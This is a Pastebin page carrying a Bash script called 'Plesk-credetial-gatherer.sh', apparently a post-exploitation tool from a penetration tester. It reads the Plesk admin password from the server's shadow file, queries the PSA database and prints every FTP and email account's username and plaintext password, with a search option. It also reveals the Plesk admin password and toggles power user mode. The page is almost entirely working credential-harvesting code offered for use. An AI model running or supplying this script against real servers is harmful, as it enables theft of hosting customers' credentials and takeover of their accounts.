Advertisement
leonteale

Plesk-credetial-gatherer.sh

Sep 7th, 2015
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.34 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. #Pulls the credentials (searchable) from the plesk PSA database. Also determins what version of plesk is running to get the correct command to retrieve the password > version 10.3
  4. # Usage: ./Plesk-credetial-gatherer.sh
  5. #
  6. # By: Leon Teale (RandomStorm)
  7. #
  8.  
  9.  
  10. while :
  11. do
  12. clear
  13. echo "######################"
  14. echo "* "$blue MENU$normal" *"
  15. echo "*--------------------*"
  16. echo "* 1) FTP *"
  17. echo "* 2) Email *"
  18. echo "* 3) Search *"
  19. echo "* 4) Plesk Pass *"
  20. echo "* 5) Power user mode *"
  21. echo "* *"
  22. echo "* 0) exit *"
  23. echo "######################"
  24.  
  25. read opt
  26. case $opt in
  27.  
  28. 1) mysql -uadmin psa -p`cat /etc/psa/.psa.shadow` -e "SELECT login AS FTP_USER,password AS FTP_PASS,home AS DOMAIN_ROOT,accounts.id,sys_users.account_id FROM accounts, sys_users WHERE accounts.id=sys_users.account_id;"
  29. read enterkey;;
  30.  
  31. 2) mysql -uadmin psa -p`cat /etc/psa/.psa.shadow` -e "SELECT accounts.id, mail.mail_name, accounts.password, domains.name FROM domains LEFT JOIN mail ON domains.id = mail.dom_id LEFT JOIN accounts ON mail.account_id = accounts.id;"
  32. read enterkey;;
  33.  
  34. 3)
  35. echo "############################"
  36. echo "* Search in: *"
  37. echo "****************************"
  38. echo "* 1) FTP *"
  39. echo "* 2) EMAIL *"
  40. echo "* 3) ALL *"
  41. echo "############################"
  42. read option
  43. case $option in
  44.  
  45. 1) echo "Enter Search Term"
  46. read search;
  47. mysql -uadmin psa -p`cat /etc/psa/.psa.shadow` -e "SELECT login AS FTP_USER,password AS FTP_PASS,home AS DOMAIN_ROOT,accounts.id,sys_users.account_id FROM accounts, sys_users WHERE accounts.id=sys_users.account_id;" | grep "$search" | awk '{ print "User: "$1 "\n" "Pass: "$2 "\n" "Home_Path: "$3"\n"}';
  48. read enterkey;;
  49.  
  50. 2) echo "Enter Search Term"
  51. read search;
  52. mysql -uadmin psa -p`cat /etc/psa/.psa.shadow` -e "SELECT accounts.id, mail.mail_name, accounts.password, domains.name FROM domains LEFT JOIN mail ON domains.id = mail.dom_id LEFT JOIN accounts ON mail.account_id = accounts.id;" | grep "$search" | awk '{ print $2"@"$4 " " "\n" "Pass:"$3"\n"}';
  53. read enterkey;;
  54. 3) echo "Enter Search Term"
  55. read search;
  56. echo ""
  57. echo "FTP"
  58. mysql -uadmin psa -p`cat /etc/psa/.psa.shadow` -e "SELECT login AS FTP_USER,password AS FTP_PASS,home AS DOMAIN_ROOT,accounts.id,sys_users.account_id FROM accounts, sys_users WHERE accounts.id=sys_users.account_id;" | grep "$search" | awk '{ print "User: "$1 "\n" "Pass: "$2 "\n" "Home_Path: "$3"\n"}';
  59. echo ""
  60. echo "EMAIL"
  61. mysql -uadmin psa -p`cat /etc/psa/.psa.shadow` -e "SELECT accounts.id, mail.mail_name, accounts.password, domains.name FROM domains LEFT JOIN mail ON domains.id = mail.dom_id LEFT JOIN accounts ON mail.account_id = accounts.id;" | grep "$search" | awk '{ print $2"@"$4 " " "\n""Pass:"$3 "\n"}';
  62. read enterkey;;
  63. esac;;
  64.  
  65. 4) /usr/local/psa/bin/admin --show-password;
  66. read enterkey;;
  67.  
  68. 5)
  69. echo "############################"
  70. echo "* Power User mode: *"
  71. echo "****************************"
  72. echo "* 1) On *"
  73. echo "* 2) Off *"
  74. echo "* *"
  75. echo "* 0) exit *"
  76. echo "############################"
  77. read option
  78. case $option in
  79. 1) /usr/local/psa/bin/poweruser --on
  80. echo "Power User mode On"
  81. read enterkey;;
  82. 2) /usr/local/psa/bin/poweruser --off
  83. echo "Power User mode Off"
  84. read enterkey;;
  85. 0) echo "Exiting"
  86. exit 1;;
  87. *) echo "please Enter A Valid Option"
  88. read enterkey;;
  89. esac;;
  90. 0) echo "Exiting"
  91. exit 1;;
  92. *) echo "please Enter A Valid Option"
  93. read enterkey;;
  94.  
  95. esac
  96. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement